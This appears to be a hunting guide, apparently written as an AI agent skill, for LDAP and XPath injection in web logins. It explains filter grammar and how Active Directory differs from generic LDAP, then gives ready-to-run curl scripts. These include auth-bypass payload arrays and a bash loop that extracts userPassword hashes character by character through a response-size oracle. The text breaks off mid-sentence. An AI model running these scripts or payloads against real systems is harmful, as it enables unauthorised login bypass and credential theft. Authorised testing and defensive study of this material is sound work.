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HUNT-LDAP — LDAP Injection & XPath Injection

> Grounding note: LDAP injection is rarely disclosed with verbatim payloads on

> public platforms (most live on internal-pentest reports). This skill is

> grounded in the **OWASP LDAP Injection Prevention / Testing Guide

> (WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection)**, and

> the RFC 4515 filter grammar — all publicly verifiable references rather

> than invented HackerOne IDs. Do not cite a report you cannot link.

Crown Jewel Targets

LDAP injection that bypasses authentication = Critical. Blind attribute

exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.

Highest-value chains:

• LDAP auth bypass — close the uid filter and append an always-true OR so the

bind/search returns the admin entry without a valid password.

• Blind attribute exfil — char-by-char extraction of an attribute value via a

boolean oracle (login success/failure, result count, or response length).

• userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the

userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable

by query. See the AD-vs-generic warning below.

• XPath injection auth bypass — ' or '1'='1 against XML-backed auth.

---

CRITICAL — Active Directory vs generic LDAP

Do not conflate the two. They behave very differently:

| | Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |

|---|---|---|

| Password attribute | userPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allows | unicodePwd — write-only, never returned by any search |

| Hash exfil via injection | Possible where ACLs leak userPassword | Not possible — there is no readable hash attribute over LDAP |

| Useful enum attrs | uid, cn, mail, userPassword | sAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!) |

**Do not tell a reader that blind LDAP injection yields AD password hashes — it

does not.** unicodePwd is write-only. Against AD, the win is enumeration

(sAMAccountName, memberOf, description/info fields that admins misuse to

store passwords) and auth bypass — not hash dumping. The hash-exfil technique

applies only to non-AD directories exposing userPassword.

---

Attack Surface Signals

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

---

LDAP filter grammar (RFC 4515) — why injection works

A login filter is typically built by string-concat:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the

operator comes first and every sub-filter is parenthesised. To inject you must

(a) escape the current (uid=...) group, (b) inject your own logic, and

(c) leave the overall parenthesis count balanced or the server throws a

filter-syntax error instead of executing.

The special-character set — TEST EACH ONE

These characters are syntactically meaningful and MUST be escaped by a safe app

(RFC 4515 §3). If the app reflects an error or behaves differently when you send

them raw, the input is unescaped → injectable:

| Char | Filter escape | Why it matters |

|------|---------------|----------------|

| * | \2a | wildcard — matches any value |

| ( | \28 | opens a filter group |

| ) | \29 | closes a filter group |

| \ | \5c | escape char itself |

| NUL | \00 | string terminator — truncates filter in C-backed servers |

| / | (DN context) | RDN separator — relevant for DN injection |

Search-filter context vs DN injection are different bugs:

• Search-filter injection (most common): your input lands inside a

(attr=VALUE) filter. Payloads use * ( ) & | !.

• DN injection: your input is concatenated into a Distinguished Name

(uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and /

matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.

---

Step-by-Step Hunting Methodology

Phase 1 — Confirm an LDAP backend (baseline first)

# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

A lone ) that produces a syntax error/500 while a balanced payload does not is

the cleanest LDAP-injection tell — note it, you will need it as proof.

Phase 2 — Auth-bypass payloads (balance your parentheses)

# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl --max-time 30 --connect-timeout 10 -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

Parenthesis-balancing rule of thumb: count ( minus ) in the *resulting*

full filter, not just your payload. If the app appends )(userPassword=...))

after your input, leave the right number of trailing ) so the final string is

balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).

Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)

Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps,

length-jitter on the injected char itself). Use a paired true/false control

so the oracle is the *response*, not the absolute size.

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

False-positive guards for blind exfil:

• Repeat each positive char 3x and confirm the size is stable — length-jitter

from the attacker-controlled char itself is th

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